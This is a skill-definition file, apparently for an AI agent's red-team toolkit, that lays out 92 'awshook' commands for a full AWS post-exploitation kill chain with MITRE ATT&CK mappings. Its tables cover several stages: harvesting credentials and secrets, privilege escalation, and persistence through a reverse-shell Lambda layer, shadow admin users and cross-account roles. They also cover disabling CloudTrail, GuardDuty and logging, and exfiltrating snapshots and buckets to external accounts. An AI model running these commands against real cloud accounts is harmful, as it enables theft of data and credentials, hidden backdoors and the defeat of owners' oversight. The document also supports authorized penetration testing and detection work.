1---2name: aws-postexploit3description: AWS post-exploitation — 92 programs for full kill chain from recon to cleanup via AWS CLI4---56# AWS Post-Exploitation Methodology7892 programs across 7 categories for full AWS kill chain after compromising IAM credentials or EC2 instance. All tools use `aws` CLI natively — no Python/boto3 dependency.910## Prerequisites11121. **Valid AWS credentials** — access key + secret key, session token, or instance profile132. **AWS CLI installed** — `aws --version`143. **Current identity** — `aws sts get-caller-identity`1516## Kill Chain Phases1718### Phase 1 — Reconnaissance (23 programs)1920| Action | Command | Purpose |21|--------|---------|---------|22| IAM enumeration | `awshook iam_enum` | Users, roles, policies, privesc paths, wildcard analysis |23| EC2 enumeration | `awshook ec2_enum` | Instances, AMIs, security groups, key pairs, user-data secrets |24| S3 enumeration | `awshook s3_enum` | Buckets, policies, ACLs, encryption, public access |25| Lambda enumeration | `awshook lambda_enum` | Functions, layers, event sources, env var secrets |26| VPC enumeration | `awshook vpc_enum` | VPCs, subnets, routes, NATs, endpoints, peering |27| RDS enumeration | `awshook rds_enum` | Instances, clusters, snapshots, public access, encryption |28| ECS enumeration | `awshook ecs_enum` | Clusters, services, tasks, exec enabled, container env secrets |29| EKS enumeration | `awshook eks_enum` | Clusters, node groups, Fargate, OIDC, public endpoint |30| SSO enumeration | `awshook sso_enum` | SSO instances, permission sets, identity store |31| Org enumeration | `awshook org_enum` | Accounts, OUs, SCPs, delegated admins |32| Route53 enumeration | `awshook route53_enum` | Zones, records, health checks, subdomain takeover |33| Service recon | `awshook service_recon` | Account-wide service usage summary |34| CFN enumeration | `awshook cfn_enum` | Stacks, templates, secrets, parameters, outputs, IAM resources |35| API Gateway enum | `awshook apigw_enum` | REST/HTTP/WebSocket APIs, stages, API keys, authorizers |36| SNS/SQS enum | `awshook sns_sqs_enum` | Topics, subscriptions, queues, policies, encryption |37| CloudWatch enum | `awshook cloudwatch_enum` | Log groups, alarms, dashboards, custom metrics |38| ElastiCache enum | `awshook elasticache_enum` | Redis/Memcached auth, encryption, replication, snapshots |39| Redshift enum | `awshook redshift_enum` | Clusters, public access, encryption, audit logging, snapshots |40| Multi-region scan | `awshook multi_region_scan` | Shadow deployments across all enabled regions |41| KMS enum | `awshook kms_enum` | Customer-managed keys, policies (Principal:*), grants |42| OpenSearch enum | `awshook opensearch_enum` | Domains, public access, encryption, resource policies |43| EFS enum | `awshook efs_enum` | File systems, mount targets, SG analysis, encryption |44| ELB enum | `awshook elb_enum` | ALB/NLB/Classic, internet-facing, SSL policy, HTTP redirect |4546### Phase 2 — Credential Harvesting (11 programs)4748| Action | Command | Purpose |49|--------|---------|---------|50| Metadata harvest | `awshook metadata_harvest` | EC2/ECS/Lambda metadata endpoint credentials (IMDSv1/v2) |51| Secrets dump | `awshook secrets_dump` | Secrets Manager + SSM Parameter Store extraction |52| Access key enum | `awshook access_key_enum` | All active keys with age, last-used, stale detection |53| Role credential | `awshook role_credential --role-arn ARN` | STS AssumeRole for temporary credentials |54| Federation token | `awshook federation_token` | Console access from programmatic credentials |55| ECR token | `awshook ecr_token` | ECR registry auth for container image access |56| Console login | `awshook console_login --user-name NAME` | Create/update IAM console login profile |57| Cognito token | `awshook cognito_token` | Cognito pool enum, client secrets, identity pool credentials |58| CFN secret extract | `awshook cfn_secret_extract` | Extract secrets from CFN parameters, templates, outputs |59| CodeCommit cred | `awshook codecommit_cred` | HTTPS Git/SSH credentials across IAM users |60| CI/CD secrets | `awshook ci_cd_secret_extract` | CodePipeline artifacts, CodeBuild env vars, CodeStar connections |6162### Phase 3 — Privilege Escalation (10 programs)6364| Action | Command | Purpose |65|--------|---------|---------|66| IAM privesc | `awshook iam_privesc --method passrole` | PassRole/AssumeRole/AttachPolicy/CreateKey chains |67| Policy rollback | `awshook policy_version_rollback --policy-arn ARN --rollback` | Restore previous permissive policy version |68| Role chain | `awshook role_chain ARN1 ARN2 ARN3` | Multi-hop A→B→C cross-account/service escalation |69| Lambda privesc | `awshook lambda_privesc --role-arn ARN` | Lambda with high-priv role for code execution |70| Glue privesc | `awshook glue_privesc --role-arn ARN` | Glue job/dev endpoint with high-priv role |71| CFN privesc | `awshook cloudformation_privesc --role-arn ARN` | Stack with IAM resource creation |72| SSM privesc | `awshook ssm_privesc --instance-id ID` | RunCommand on high-priv instance profiles |73| EC2 privesc | `awshook ec2_privesc` | Launch EC2 with high-priv instance profile |74| Boundary bypass | `awshook permission_boundary_bypass` | Analyze and bypass permission boundaries |75| SageMaker privesc | `awshook sagemaker_privesc --role-arn ARN` | Notebook/training job with high-priv role |7677### Phase 4 — Persistence (11 programs)7879| Action | Command | Purpose |80|--------|---------|---------|81| Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell layer |82| IAM backdoor | `awshook iam_backdoor` | Shadow admin with AdministratorAccess + keys + console |83| EventBridge | `awshook eventbridge_backdoor --target-arn ARN` | Scheduled Lambda/SSM execution |84| SSM document | `awshook ssm_document_backdoor --command CMD` | Custom command document for persistent exec |85| CodeBuild | `awshook codebuild_backdoor --role-arn ARN` | Project with credential exfil buildspec |86| AMI backdoor | `awshook ami_backdoor --instance-id ID` | AMI from compromised instance |87| Cross-account role | `awshook cross_account_role --external-account ACCT` | Trust role for external persistence |88| Cognito backdoor | `awshook cognito_backdoor --user-pool-id ID` | Admin user in Cognito pool |89| EC2 Instance Connect | `awshook ec2_instance_connect --instance-id ID` | SSH key push (60s window) |90| SSM State Manager | `awshook ssm_state_manager --command CMD --instance-id ID` | Scheduled association (stealth) |91| ECS scheduled task | `awshook ecs_scheduled_task --cluster C --task-definition DEF` | Serverless Fargate persistence |9293### Phase 5 — Lateral Movement (8 programs)9495| Action | Command | Purpose |96|--------|---------|---------|97| SSM exec | `awshook ssm_exec --instance-id ID --command CMD` | EC2 command execution via SSM |98| ECS exec | `awshook ecs_exec --cluster C --task T --command CMD` | Container command execution |99| Cross-account enum | `awshook cross_account_enum --try-assume` | Trust relationships + assume attempts |100| VPC peering | `awshook vpc_peering_enum` | Peering connections for network pivoting |101| Transit gateway | `awshook transit_gateway_enum` | TGW attachments + cross-account routing |102| Lightsail exec | `awshook lightsail_exec --instance-name NAME --command CMD` | Lightsail instance access |103| Lambda exec | `awshook code_exec_lambda --function-name NAME` | Direct Lambda invocation |104| SSM Session | `awshook ssm_session --instance-id ID` | Interactive shell + port forwarding |105106### Phase 6 — Defense Evasion (13 programs)107108| Action | Command | Purpose |109|--------|---------|---------|110| CloudTrail blind | `awshook cloudtrail_blind --action stop` | Stop/modify/delete CloudTrail logging |111| GuardDuty evade | `awshook guardduty_evade --action suspend` | Suspend detectors, archive findings, auto-suppress |112| Config disable | `awshook config_disable --action stop` | Stop AWS Config recorder |113| Flow log disable | `awshook vpc_flow_disable --action delete` | Delete VPC Flow Log subscriptions |114| Access Analyzer | `awshook access_analyzer_suppress --action archive` | Archive findings, delete analyzers |115| Security Hub | `awshook security_hub_suppress --action suppress` | Suppress findings or disable entirely |116| WAF bypass | `awshook waf_bypass` | Enumerate WAF rules, ACLs, IP sets |117| DNS Firewall | `awshook dns_firewall_disable --action disassociate` | Remove DNS Firewall from VPCs |118| CloudWatch tamper | `awshook cloudwatch_tamper --action delete` | Delete/reduce retention of log groups |119| Macie disable | `awshook macie_disable --action suspend` | Suspend/disable sensitive data discovery |120| Inspector disable | `awshook inspector_disable --action disable` | Disable vulnerability scanning |121| S3 logging disable | `awshook s3_logging_disable --action disable_access_log` | Disable S3 access logging + object-level CloudTrail |122| CloudTrail selector | `awshook cloudtrail_selector_tamper --action exclude_kms` | Surgical event selector modification (stealthier than stopping) |123124### Phase 7 — Exfiltration & Cleanup (16 programs)125126| Action | Command | Purpose |127|--------|---------|---------|128| S3 dump | `awshook s3_dump --bucket B --download` | Sensitive file discovery and download |129| EBS snapshot | `awshook ec2_snapshot --volume-id VOL --share-account ACCT` | Snapshot with cross-account sharing |130| RDS dump | `awshook rds_dump --db-identifier ID --share-account ACCT` | RDS snapshot, share, restore |131| DynamoDB dump | `awshook dynamodb_dump --table-name T` | Table scan with secret detection |132| EBS direct read | `awshook ebs_direct_read --snapshot-id SNAP` | Block-level read without EC2 |133| S3 exfil | `awshook s3_exfil --bucket B --external-account A` | Modify bucket policy for external access |134| Data stage | `awshook data_stage --source PATH --dest-bucket B` | Compress and stage to attacker S3 |135| **Cleanup** | `awshook cleanup_aws` | **ALWAYS run — removes all CyberStrike resources** |136| CodeCommit dump | `awshook codecommit_dump --repo NAME` | Repo clone with secret file extraction |137| ECR dump | `awshook ecr_dump --repository NAME` | Container images, vulns, auth tokens |138| Athena query | `awshook athena_query --query-string SQL` | SQL query against S3 data lakes |139| Secrets bulk export | `awshook secrets_bulk_export` | Bulk extract all secrets with S3 staging |140| Backup vault enum | `awshook backup_vault_enum` | AWS Backup vaults, recovery points, cross-account sharing |141| CloudWatch logs dump | `awshook cloudwatch_logs_dump --log-group NAME` | Export CloudWatch logs to S3 for offline analysis |142| SNS/SQS siphon | `awshook sns_sqs_siphon --topic-arn ARN` | Intercept SNS subscriptions and SQS messages |143| Kinesis tap | `awshook kinesis_tap --stream-name NAME` | Tap Kinesis data streams for real-time interception |144145## Detection Considerations146147| Service | What it catches |148|---------|-----------------|149| CloudTrail | All API calls (unless blinded): CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging, AssumeRole |150| GuardDuty | Anomalous IAM behavior, credential exfiltration, unusual API patterns, policy changes |151| AWS Config | Configuration changes for IAM, Lambda, CloudTrail, VPC, Security Groups |152| Access Analyzer | External access to S3, IAM, Lambda, SQS, SNS, KMS |153| Security Hub | Aggregated findings from all security services |154| VPC Flow Logs | Network traffic patterns for lateral movement detection |155| DNS Firewall | DNS-based exfiltration attempts |156157## Program Reference158159| Program | MITRE ATT&CK | CWE |160|---------|--------------|-----|161| iam_enum | T1087.004 Cloud Account | CWE-269 |162| ec2_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |163| s3_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |164| lambda_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |165| vpc_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |166| rds_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |167| ecs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |168| eks_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |169| sso_enum | T1087.004 Cloud Account | CWE-269 |170| org_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |171| route53_enum | T1596 Search Open Technical Databases | CWE-284 |172| service_recon | T1580 Cloud Infrastructure Discovery | CWE-200 |173| cfn_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |174| apigw_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |175| sns_sqs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |176| cloudwatch_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |177| elasticache_enum | T1580 Cloud Infrastructure Discovery | CWE-287 |178| redshift_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |179| multi_region_scan | T1580 Cloud Infrastructure Discovery | CWE-200 |180| kms_enum | T1580 Cloud Infrastructure Discovery | CWE-732 |181| opensearch_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |182| efs_enum | T1580 Cloud Infrastructure Discovery | CWE-311 |183| elb_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |184| metadata_harvest | T1552.005 Cloud Instance Metadata API | CWE-522 |185| secrets_dump | T1555.006 Cloud Secrets Management Stores | CWE-522 |186| access_key_enum | T1087.004 Cloud Account | CWE-522 |187| role_credential | T1078.004 Cloud Accounts | CWE-522 |188| federation_token | T1078.004 Cloud Accounts | CWE-522 |189| ecr_token | T1552.001 Credentials In Files | CWE-522 |190| console_login | T1098 Account Manipulation | CWE-522 |191| cognito_token | T1078.004 Cloud Accounts | CWE-287 |192| cfn_secret_extract | T1552.001 Credentials In Files | CWE-312 |193| codecommit_cred | T1552.001 Credentials In Files | CWE-522 |194| ci_cd_secret_extract | T1552.001 Credentials In Files | CWE-312 |195| iam_privesc | T1098 Account Manipulation | CWE-269 |196| policy_version_rollback | T1098 Account Manipulation | CWE-269 |197| role_chain | T1078.004 Cloud Accounts | CWE-269 |198| lambda_privesc | T1098 Account Manipulation | CWE-269 |199| glue_privesc | T1098 Account Manipulation | CWE-269 |200| cloudformation_privesc | T1098 Account Manipulation | CWE-269 |201| ssm_privesc | T1098 Account Manipulation | CWE-269 |202| ec2_privesc | T1098 Account Manipulation | CWE-269 |203| permission_boundary_bypass | T1098 Account Manipulation | CWE-732 |204| sagemaker_privesc | T1098 Account Manipulation | CWE-269 |205| lambda_backdoor | T1525 Implant Internal Image | CWE-547 |206| iam_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |207| eventbridge_backdoor | T1053.007 Container Orchestration Job | CWE-547 |208| ssm_document_backdoor | T1059.009 Cloud API | CWE-547 |209| codebuild_backdoor | T1053.007 Container Orchestration Job | CWE-547 |210| ami_backdoor | T1525 Implant Internal Image | CWE-547 |211| cross_account_role | T1098.001 Additional Cloud Credentials | CWE-284 |212| cognito_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |213| ec2_instance_connect | T1098.004 SSH Authorized Keys | CWE-284 |214| ssm_state_manager | T1053.005 Scheduled Task | CWE-547 |215| ecs_scheduled_task | T1053.007 Container Orchestration Job | CWE-547 |216| ssm_exec | T1021.007 Cloud Services | CWE-78 |217| ecs_exec | T1609 Container Administration Command | CWE-78 |218| cross_account_enum | T1087.004 Cloud Account | CWE-284 |219| vpc_peering_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |220| transit_gateway_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |221| lightsail_exec | T1021.007 Cloud Services | CWE-522 |222| code_exec_lambda | T1059.009 Cloud API | CWE-78 |223| ssm_session | T1021.007 Cloud Services | CWE-284 |224| cloudtrail_blind | T1562.008 Disable Cloud Logs | CWE-693 |225| guardduty_evade | T1562.008 Disable Cloud Logs | CWE-693 |226| config_disable | T1562.008 Disable Cloud Logs | CWE-693 |227| vpc_flow_disable | T1562.008 Disable Cloud Logs | CWE-693 |228| access_analyzer_suppress | T1562.008 Disable Cloud Logs | CWE-693 |229| security_hub_suppress | T1562.008 Disable Cloud Logs | CWE-693 |230| waf_bypass | T1562.001 Disable or Modify Tools | CWE-693 |231| dns_firewall_disable | T1562.001 Disable or Modify Tools | CWE-693 |232| cloudwatch_tamper | T1070.002 Clear Linux or Mac System Logs | CWE-693 |233| macie_disable | T1562.008 Disable Cloud Logs | CWE-693 |234| inspector_disable | T1562.008 Disable Cloud Logs | CWE-693 |235| s3_logging_disable | T1562.008 Disable Cloud Logs | CWE-693 |236| cloudtrail_selector_tamper | T1562.008 Disable Cloud Logs | CWE-693 |237| s3_dump | T1530 Data from Cloud Storage | CWE-200 |238| ec2_snapshot | T1537 Transfer Data to Cloud Account | CWE-200 |239| rds_dump | T1530 Data from Cloud Storage | CWE-200 |240| dynamodb_dump | T1530 Data from Cloud Storage | CWE-200 |241| ebs_direct_read | T1530 Data from Cloud Storage | CWE-200 |242| s3_exfil | T1537 Transfer Data to Cloud Account | CWE-284 |243| data_stage | T1074.002 Remote Data Staging | CWE-200 |244| codecommit_dump | T1213.003 Code Repositories | CWE-200 |245| ecr_dump | T1530 Data from Cloud Storage | CWE-200 |246| athena_query | T1530 Data from Cloud Storage | CWE-200 |247| secrets_bulk_export | T1555.006 Cloud Secrets Management Stores | CWE-200 |248| backup_vault_enum | T1530 Data from Cloud Storage | CWE-284 |249| cloudwatch_logs_dump | T1530 Data from Cloud Storage | CWE-200 |250| sns_sqs_siphon | T1530 Data from Cloud Storage | CWE-200 |251| kinesis_tap | T1530 Data from Cloud Storage | CWE-200 |252| cleanup_aws | T1070 Indicator Removal | — |
cyberstrikeus